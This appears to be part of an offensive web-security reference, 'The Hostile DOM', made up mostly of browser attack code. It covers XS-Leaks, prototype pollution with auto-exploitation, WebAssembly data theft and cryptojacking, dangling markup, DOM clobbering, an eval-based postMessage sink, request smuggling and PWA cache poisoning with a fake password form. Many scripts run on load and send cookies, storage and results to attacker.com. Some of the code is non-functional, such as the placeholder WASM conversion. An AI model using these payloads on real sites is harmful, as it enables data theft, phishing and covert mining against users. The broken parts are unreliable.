The Hostile DOM: Deep Dive Technical Reference
Offensive Security Research
This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.
Part 8: Advanced Attack Vectors
8.1 XS-Leaks: Cross-Site Leakage Attacks
XS-Leaks exploit side-channels to leak sensitive information across origins.
Cache-Based XS-Leaks
Click to expand code
class XSLeakExploiter {
constructor() {
this.leakedData = '';
this.cache = new Map();
}
// Cache probing attack
async cacheProbeAttack(targetUrl, probeUrls) {
console.log('[+] Starting cache probe attack on:', targetUrl);
// First, ensure cache is warm with known content
await this.warmCache(probeUrls);
// Navigate to target (this will potentially evict cache entries)
await this.navigateToTarget(targetUrl);
// Probe cache state
const cacheState = await this.probeCache(probeUrls);
// Infer information from cache state
const leakedInfo = this.inferFromCacheState(cacheState, probeUrls);
console.log('[+] Cache probe results:', leakedInfo);
return leakedInfo;
}
async warmCache(urls) {
const promises = urls.map(url =>
fetch(url, {
method: 'GET',
mode: 'no-cors',
cache: 'force-cache'
})
);
await Promise.all(promises);
console.log('[+] Cache warmed with', urls.length, 'entries');
}
async navigateToTarget(url) {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
iframe.onload = () => {
// Give it time to load and potentially modify cache
setTimeout(() => {
document.body.removeChild(iframe);
resolve();
}, 2000);
};
document.body.appendChild(iframe);
});
}
async probeCache(urls) {
const cacheState = {};
for (const url of urls) {
const start = performance.now();
try {
const response = await fetch(url, {
method: 'GET',
mode: 'no-cors',
cache: 'only-if-cached' // Only use cache
});
const end = performance.now();
const cached = response.ok;
const timing = end - start;
cacheState[url] = { cached, timing };
} catch (error) {
const end = performance.now();
cacheState[url] = { cached: false, timing: end - start };
}
}
return cacheState;
}
inferFromCacheState(cacheState, urls) {
// Analyze which URLs were evicted (not cached anymore)
const evicted = urls.filter(url => !cacheState[url].cached);
const cached = urls.filter(url => cacheState[url].cached);
// Analyze timing differences
const timings = urls.map(url => cacheState[url].timing);
const avgTiming = timings.reduce((a, b) => a + b, 0) / timings.length;
return {
evictedUrls: evicted,
cachedUrls: cached,
averageTiming: avgTiming,
timingVariance: this.calculateVariance(timings),
inference: this.makeInference(evicted, cached)
};
}
makeInference(evicted, cached) {
// Example inference: if certain URLs are evicted,
// it might indicate the user visited specific pages
if (evicted.length > cached.length) {
return 'High cache eviction - possible large page load';
} else if (cached.length > evicted.length) {
return 'Low cache eviction - possible cached content reuse';
} else {
return 'Balanced cache state - normal browsing pattern';
}
}
calculateVariance(values) {
const mean = values.reduce((a, b) => a + b, 0) / values.length;
const squareDiffs = values.map(value => Math.pow(value - mean, 2));
return squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
}
// Error-based XS-Leak
async errorBasedLeak(targetUrl) {
console.log('[+] Starting error-based XS-Leak on:', targetUrl);
const testUrls = [
`${targetUrl}?leak=1`,
`${targetUrl}?leak=2`,
`${targetUrl}?leak=3`
];
const results = {};
for (const url of testUrls) {
try {
const response = await fetch(url, {
mode: 'no-cors',
credentials: 'include' // Include cookies
});
results[url] = {
status: response.status,
ok: response.ok,
type: response.type
};
} catch (error) {
results[url] = {
error: error.message,
blocked: error.message.includes('blocked')
};
}
}
console.log('[+] Error-based leak results:', results);
return results;
}
// Frame counting attack
async frameCountingAttack(targetUrl) {
console.log('[+] Starting frame counting attack on:', targetUrl);
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = targetUrl;
iframe.style.display = 'none';
let initialFrameCount = window.length;
iframe.onload = () => {
setTimeout(() => {
const finalFrameCount = window.length;
const frameDifference = finalFrameCount - initialFrameCount;
document.body.removeChild(iframe);
const result = {
initialFrames: initialFrameCount,
finalFrames: finalFrameCount,
difference: frameDifference,
inference: this.inferFromFrameCount(frameDifference)
};
console.log('[+] Frame counting results:', result);
resolve(result);
}, 3000);
};
document.body.appendChild(iframe);
});
}
inferFromFrameCount(difference) {
if (difference === 0) {
return 'No additional frames - simple page or blocked';
} else if (difference === 1) {
return 'One additional frame - possible embedded content';
} else if (difference > 1) {
return `${difference} additional frames - complex page with multiple embeds`;
}
}
// Global state probing
async globalStateLeak(targetUrl) {
console.log('[+] Starting global state leak on:', targetUrl);
// Record initial state
const initialState = this.captureGlobalState();
// Load target in iframe
await this.loadInIframe(targetUrl);
// Record final state
const finalState = this.captureGlobalState();
// Compare states
const differences = this.compareStates(initialState, finalState);
console.log('[+] Global state differences:', differences);
return differences;
}
captureGlobalState() {
return {
localStorage: { ...localStorage },
sessionStorage: { ...sessionStorage },
cookies: document.cookie,
location: { ...location },
historyLength: history.length,
frameCount: window.length
};
}
async loadInIframe(url) {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
iframe.onload = () => {
setTimeout(() => {
document.body.removeChild(iframe);
resolve();
}, 2000);
};
document.body.appendChild(iframe);
});
}
compareStates(initial, final) {
const differences = {};
// Compare localStorage
const lsKeys = new Set([...Object.keys(initial.localStorage), ...Object.keys(final.localStorage)]);
differences.localStorage = {};
for (const key of lsKeys) {
if (initial.localStorage[key] !== final.localStorage[key]) {
differences.localStorage[key] = {
initial: initial.localStorage[key],
final: final.localStorage[key]
};
}
}
// Compare sessionStorage
const ssKeys = new Set([...Object.keys(initial.sessionStorage), ...Object.keys(final.sessionStorage)]);
differences.sessionStorage = {};
for (const key of ssKeys) {
if (initial.sessionStorage[key] !== final.sessionStorage[key]) {
differences.sessionStorage[key] = {
initial: initial.sessionStorage[key],
final: final.sessionStorage[key]
};
}
}
// Compare cookies
if (initial.cookies !== final.cookies) {
differences.cookies = {
initial: initial.cookies,
final: final.cookies
};
}
// Compare other properties
['historyLength', 'frameCount'].forEach(prop => {
if (initial[prop] !== final[prop]) {
differences[prop] = {
initial: initial[prop],
final: final[prop]
};
}
});
return differences;
}
}
// Initialize XS-Leak exploiter
const xsLeakExploiter = new XSLeakExploiter();
// Example usage
async function runXSLeakAttacks() {
const targetUrl = 'https://victim.com/profile';
const probeUrls = [
'https://victim.com/static/image1.jpg',
'https://victim.com/static/image2.jpg',
'https://victim.com/static/image3.jpg'
];
// Run cache-based attack
const cacheResults = await xsLeakExploiter.cacheProbeAttack(targetUrl, probeUrls);
// Run error-based attack
const errorResults = await xsLeakExploiter.errorBasedLeak(targetUrl);
// Run frame counting attack
const frameResults = await xsLeakExploiter.frameCountingAttack(targetUrl);
// Run global state leak
const stateResults = await xsLeakExploiter.globalStateLeak(targetUrl);
// Exfiltrate all results
fetch('https://attacker.com/xs-leak-results', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
cacheResults,
errorResults,
frameResults,
stateResults,
timestamp: new Date().toISOString()
})
});
}
runXSLeakAttacks();8.2 Prototype Pollution Attacks
Prototype pollution exploits JavaScript's prototype chain to inject malicious properties.
Prototype Pollution Fundamentals
Click to expand code
class PrototypePolluter {
constructor() {
this.payloads = this.generatePayloads();
this.vulnerableObjects = this.findVulnerableObjects();
}
generatePayloads() {
return {
// Basic prototype pollution
basic: {
'__proto__': {
'polluted': true,
'toString': () => 'POLLUTED'
}
},
// Constructor pollution
constructor: {
'constructor': {
'prototype': {
'polluted': true,
'evilMethod': () => alert('Prototype pollution successful!')
}
}
},
// Deep pollution
deep: {
'__proto__': {
'config': {
'apiKey': 'evil-api-key',
'endpoint': 'https://attacker.com'
},
'utils': {
'sanitize': (input) => `<script>alert('${input}')</script>`
}
}
},
// Property override pollution
override: {
'__proto__': {
'toString': () => 'MALICIOUS_OVERRIDE',
'valueOf': () => 1337,
'isAdmin': true,
'isLoggedIn': true
}
}
};
}
findVulnerableObjects() {
const vulnerable = [];
// Common vulnerable patterns
const patterns = [
// URL parsing libraries
() => URLSearchParams && new URLSearchParams('__proto__[polluted]=true'),
// Query string parsers
() => this.testObjectMerge({ '__proto__': { 'polluted': true } }),
// JSON parsers with merge
() => this.testJSONMerge('{"__proto__": {"polluted": true}}'),
// Template engines
() => this.testTemplateEngine(),
// Configuration mergers
() => this.testConfigMerge()
];
patterns.forEach((test, index) => {
try {
const result = test();
if (result && {}.polluted === true) {
vulnerable.push(`pattern_${index}`);
// Clean up
delete Object.prototype.polluted;
}
} catch (error) {
// Pattern not vulnerable or threw error
}
});
return vulnerable;
}
testObjectMerge(obj) {
// Test common merge patterns
const target = {};
// Object.assign pattern
Object.assign(target, obj);
// Spread operator pattern
const spread = { ...obj };
// jQuery.extend pattern (if available)
if (window.jQuery && jQuery.extend) {
jQuery.extend(target, obj);
}
// Lodash merge pattern (if available)
if (window._ && _.merge) {
_.merge(target, obj);
}
return target;
}
testJSONMerge(jsonString) {
try {
const obj = JSON.parse(jsonString);
return this.testObjectMerge(obj);
} catch (error) {
return null;
}
}
testTemplateEngine() {
// Test Handlebars-style templates
if (window.Handlebars) {
try {
const template = Handlebars.compile('{{__proto__.polluted}}');
const result = template({ '__proto__': { 'polluted': 'TEMPLATE_POLLUTED' } });
return result;
} catch (error) {
return null;
}
}
return null;
}
testConfigMerge() {
// Test configuration merging patterns
const defaultConfig = {
api: {
endpoint: 'https://api.example.com',
timeout: 5000
},
features: {
logging: false,
analytics: true
}
};
const userConfig = {
'__proto__': {
'api': {
'endpoint': 'https://attacker.com'
}
}
};
// Deep merge pattern
const merged = this.deepMerge(defaultConfig, userConfig);
return merged;
}
deepMerge(target, source) {
for (const key in source) {
if (source[key] && typeof source[key] === 'object') {
target[key] = target[key] || {};
this.deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Execute prototype pollution
async executePollution(targetFunc, payload) {
console.log('[+] Executing prototype pollution');
try {
// Apply payload
await targetFunc(payload);
// Verify pollution
const verification = this.verifyPollution();
if (verification.polluted) {
console.log('[+] Prototype pollution successful:', verification);
// Execute post-pollution attacks
await this.postPollutionAttacks();
return verification;
} else {
console.log('[-] Prototype pollution failed');
return { success: false };
}
} catch (error) {
console.log('[-] Prototype pollution error:', error);
return { success: false, error: error.message };
}
}
verifyPollution() {
const tests = {
basic: {}.polluted === true,
constructor: ({}).constructor.prototype.polluted === true,
toString: {}.toString() === 'POLLUTED',
isAdmin: {}.isAdmin === true,
config: {}.config && {}.config.apiKey === 'evil-api-key'
};
return {
polluted: Object.values(tests).some(test => test),
tests: tests
};
}
async postPollutionAttacks() {
console.log('[+] Executing post-pollution attacks');
// Attack 1: Override native methods
if ({}.toString() === 'POLLUTED') {
console.log('[+] Native method override successful');
// This could cause issues in JSON.stringify, logging, etc.
}
// Attack 2: Configuration poisoning
if ({}.config && {}.config.endpoint === 'https://attacker.com') {
console.log('[+] Configuration poisoned');
// API calls now go to attacker
fetch('/api/data').then(response => {
// This request goes to attacker.com instead of legitimate API
console.log('[+] Poisoned API call made');
});
}
// Attack 3: Authentication bypass
if ({}.isAdmin === true) {
console.log('[+] Authentication bypass possible');
// User objects might now have isAdmin: true
}
// Attack 4: XSS via sanitization bypass
if ({}.utils && {}.utils.sanitize) {
const maliciousInput = 'evil';
const sanitized = {}.utils.sanitize(maliciousInput);
console.log('[+] Sanitization bypassed:', sanitized);
// Could lead to XSS if output is inserted into DOM
document.body.innerHTML += sanitized;
}
}
// Gadget discovery
findGadgets() {
const gadgets = [];
// Common gadget patterns
const gadgetPatterns = [
// jQuery gadgets
() => {
if (window.jQuery) {
// jQuery.extend is a common gadget
jQuery.extend({}, { '__proto__': { 'gadget': true } });
return {}.gadget === true ? 'jQuery.extend' : null;
}
},
// Lodash gadgets
() => {
if (window._ && _.merge) {
_.merge({}, { '__proto__': { 'gadget': true } });
return {}.gadget === true ? 'lodash.merge' : null;
}
},
// Vue.js gadgets
() => {
if (window.Vue) {
// Vue.set can be a gadget in some versions
try {
Vue.set({}, '__proto__', { 'gadget': true });
return {}.gadget === true ? 'Vue.set' : null;
} catch (error) {
return null;
}
}
},
// Express.js gadgets (server-side but can affect client)
() => {
// Look for Express-like merge patterns
const test = {};
if (typeof test === 'object' && test !== null) {
Object.assign(test, { '__proto__': { 'gadget': true } });
return {}.gadget === true ? 'Object.assign' : null;
}
}
];
gadgetPatterns.forEach(pattern => {
try {
const gadget = pattern();
if (gadget) {
gadgets.push(gadget);
// Clean up
delete Object.prototype.gadget;
}
} catch (error) {
// Gadget not available or threw error
}
});
console.log('[+] Found gadgets:', gadgets);
return gadgets;
}
// Automated exploitation
async autoExploit() {
console.log('[+] Starting automated prototype pollution exploitation');
const gadgets = this.findGadgets();
const results = [];
for (const gadget of gadgets) {
for (const [name, payload] of Object.entries(this.payloads)) {
try {
const result = await this.executePollution(
(p) => this.applyToGadget(gadget, p),
payload
);
results.push({
gadget,
payload: name,
result
});
} catch (error) {
results.push({
gadget,
payload: name,
error: error.message
});
}
}
}
console.log('[+] Exploitation results:', results);
// Exfiltrate results
fetch('https://attacker.com/prototype-pollution-results', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
results,
vulnerableObjects: this.vulnerableObjects,
timestamp: new Date().toISOString()
})
});
return results;
}
applyToGadget(gadget, payload) {
switch (gadget) {
case 'jQuery.extend':
return jQuery.extend({}, payload);
case 'lodash.merge':
return _.merge({}, payload);
case 'Object.assign':
return Object.assign({}, payload);
default:
throw new Error(`Unknown gadget: ${gadget}`);
}
}
}
// Initialize prototype polluter
const prototypePolluter = new PrototypePolluter();
// Run automated exploitation
prototypePolluter.autoExploit();8.3 WebAssembly Exploitation
WebAssembly provides near-native performance and can be exploited for advanced attacks.
WASM-Based Computation Attacks
Click to expand code
class WASMExploiter {
constructor() {
this.wasmModule = null;
this.memory = null;
}
// Load malicious WebAssembly module
async loadMaliciousWASM() {
console.log('[+] Loading malicious WebAssembly module');
// WebAssembly binary that performs malicious operations
const wasmBinary = this.generateMaliciousWASM();
try {
const result = await WebAssembly.instantiate(wasmBinary, {
env: {
// Import functions from JavaScript
log: (ptr) => console.log('[WASM]', this.readString(ptr)),
steal: (ptr) => this.stealData(this.readString(ptr)),
exfiltrate: (ptr, len) => this.exfiltrateData(ptr, len)
}
});
this.wasmModule = result.instance;
this.memory = this.wasmModule.exports.memory;
console.log('[+] Malicious WASM module loaded');
return true;
} catch (error) {
console.log('[-] Failed to load WASM module:', error);
return false;
}
}
generateMaliciousWASM() {
// This would be a compiled WebAssembly binary
// For demonstration, we'll use a simple module
const wasmCode = `
(module
(import "env" "log" (func $log (param i32)))
(import "env" "steal" (func $steal (param i32)))
(import "env" "exfiltrate" (func $exfiltrate (param i32 i32)))
(memory (export "memory") 1)
(data (i32.const 0) "Malicious WASM executing!")
(data (i32.const 32) "Stolen data")
(func (export "malicious_main")
i32.const 0
call $log
i32.const 32
call $steal
)
(func (export "compute_hash") (param $input i32) (param $len i32) (result i32)
(local $hash i32)
(local $i i32)
i32.const 5381
local.set $hash
local.get $i
local.get $len
i32.lt_s
if
loop
local.get $hash
i32.const 33
i32.mul
local.get $input
local.get $i
i32.add
i32.load8_u
i32.xor
local.set $hash
local.get $i
i32.const 1
i32.add
local.set $i
local.get $i
local.get $len
i32.lt_s
br_if 0
end
end
local.get $hash
)
)
`;
// Convert WAT to WASM (this is simplified)
return this.watToWasm(wasmCode);
}
watToWasm(watCode) {
// In a real implementation, this would use wabt.js or similar
// For now, return a placeholder
console.log('[*] Converting WAT to WASM (placeholder)');
return new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00]); // Minimal WASM header
}
readString(ptr) {
const view = new Uint8Array(this.memory.buffer);
let str = '';
let i = ptr;
while (view[i] !== 0) {
str += String.fromCharCode(view[i]);
i++;
}
return str;
}
stealData(type) {
console.log(`[+] WASM stealing ${type}`);
switch (type) {
case 'cookies':
return document.cookie;
case 'localStorage':
return JSON.stringify(localStorage);
case 'location':
return location.href;
default:
return 'unknown_data_type';
}
}
exfiltrateData(ptr, len) {
const view = new Uint8Array(this.memory.buffer);
const data = view.slice(ptr, ptr + len);
fetch('https://attacker.com/wasm-data', {
method: 'POST',
body: data
});
}
// Execute WASM-based attacks
async executeWASMStealth() {
if (!this.wasmModule) {
await this.loadMaliciousWASM();
}
console.log('[+] Executing WASM stealth operations');
try {
// Run main malicious function
this.wasmModule.exports.malicious_main();
// Use WASM for computation
const testData = 'sensitive_data';
const dataPtr = this.allocateString(testData);
const hash = this.wasmModule.exports.compute_hash(dataPtr, testData.length);
console.log(`[+] WASM computed hash: ${hash}`);
// Exfiltrate hash
this.exfiltrateData(dataPtr, testData.length);
} catch (error) {
console.log('[-] WASM execution error:', error);
}
}
allocateString(str) {
const bytes = new TextEncoder().encode(str + '\0');
const ptr = this.wasmModule.exports.allocate(bytes.length);
const view = new Uint8Array(this.memory.buffer);
view.set(bytes, ptr);
return ptr;
}
// WASM-based cryptojacking
async wasmCryptoJack() {
console.log('[+] Starting WASM-based cryptojacking');
const cryptoWasm = `
(module
(func (export "mine") (param $nonce i32) (result i32)
(local $hash i32)
(local $i i32)
i32.const 0
local.set $hash
local.get $i
i32.const 1000000 ;; Mining difficulty
i32.lt_s
if
loop
local.get $hash
local.get $nonce
i32.add
local.get $i
i32.xor
local.set $hash
local.get $i
i32.const 1
i32.add
local.set $i
local.get $i
i32.const 1000000
i32.lt_s
br_if 0
end
end
local.get $hash
)
)
`;
try {
const cryptoModule = await WebAssembly.instantiate(this.watToWasm(cryptoWasm));
// Mine in background
setInterval(() => {
const nonce = Math.floor(Math.random() * 1000000);
const result = cryptoModule.instance.exports.mine(nonce);
// Send mining results to attacker (proof of work)
fetch('https://attacker.com/mining-result', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ nonce, result })
});
}, 100);
console.log('[+] WASM cryptojacking active');
} catch (error) {
console.log('[-] WASM cryptojacking failed:', error);
}
}
// WASM memory corruption
async wasmMemoryCorruption() {
console.log('[+] Attempting WASM memory corruption');
if (!this.memory) return;
try {
// Access memory directly
const view = new Uint32Array(this.memory.buffer);
// Attempt to corrupt memory boundaries
for (let i = 0; i < 100; i++) {
const randomAddr = Math.floor(Math.random() * view.length);
view[randomAddr] = 0xDEADBEEF; // Corruption marker
}
console.log('[+] Memory corruption applied');
// Try to trigger use-after-free or other memory issues
this.wasmModule.exports.malicious_main();
} catch (error) {
console.log('[+] Memory corruption caused exception:', error.message);
}
}
}
// Initialize WASM exploiter
const wasmExploiter = new WASMExploiter();
// Run WASM attacks
async function runWASMAttacks() {
await wasmExploiter.executeWASMStealth();
await wasmExploiter.wasmCryptoJack();
await wasmExploiter.wasmMemoryCorruption();
}
runWASMAttacks();8.4 Dangling Markup Injection
Dangling markup injection exploits unclosed HTML tags to capture and exfiltrate page content.
Incomplete Tag Exfiltration
Click to expand code
<!-- Attacker injects an unclosed tag -->
<img src="https://attacker.com/log?data=
<!-- The browser will treat everything until the next quote as part of the URL -->
<!-- Victim's sensitive data follows -->
<div id="csrf-token">secret-token-12345</div>
<div id="user-email">victim@example.com</div>
<!-- The exfiltration happens when the browser tries to load the image -->8.5 DOM Clobbering
DOM Clobbering exploits the browser's behavior of creating global variables from HTML elements with id or name attributes.
Named Element Property Collision
Click to expand code
<!-- Clobbering a global variable -->
<img id="config" src="x" name="url" value="https://attacker.com/malicious.js">
<script>
// Vulnerable code
const scriptUrl = window.config ? window.config.url : '/js/default.js';
const script = document.createElement('script');
script.src = scriptUrl;
document.head.appendChild(script);
</script>
<!-- Clobbering multi-level properties -->
<form id="x"><output id="y">polluted</output></form>
<script>
// window.x.y will be "polluted"
console.log(window.x.y.value);
</script>8.6 PostMessage Vulnerabilities
PostMessage allows cross-origin communication but is often implemented without proper origin validation.
Origin Validation Bypass
Click to expand code
// Attacker frame
const victim = window.open('https://victim.com');
setTimeout(() => {
victim.postMessage({ action: 'exec', cmd: 'alert(1)' }, '*');
}, 2000);
// Vulnerable listener on victim.com
window.addEventListener('message', (event) => {
// MISSING: if (event.origin !== 'https://trusted.com') return;
if (event.data.action === 'exec') {
eval(event.data.cmd);
}
});8.7 Request Smuggling & Desync
Browser-based request smuggling exploits protocol differences to poison caches or bypass security.
HTTP/2 to HTTP/1.1 Smuggling
Click to expand code
async function smuggleRequest() {
// Smuggle a request via fetch with malformed headers
// (Requires specific browser/proxy vulnerabilities)
await fetch('/api/data', {
headers: {
'Transfer-Encoding': 'chunked',
'Content-Length': '10',
'X-Smuggled': 'true\r\n\r\nPOST /admin/delete HTTP/1.1\r\nHost: victim.com'
},
method: 'POST',
body: '0\r\n\r\n'
});
}8.8 PWA Exploitation
Progressive Web Apps introduce new attack surfaces through manifests and offline caches.
Manifest Injection & Cache Poisoning
Click to expand code
// Poisoning the PWA cache
async function poisonPWACache() {
const cache = await caches.open('v1');
await cache.put('/index.html', new Response(`
<html>
<body>
<h1>System Update Required</h1>
<form action="https://attacker.com/login">
<input type="password" name="pass">
<button>Update</button>
</form>
</body>
</html>
`, {
headers: { 'Content-Type': 'text/html' }
}));
}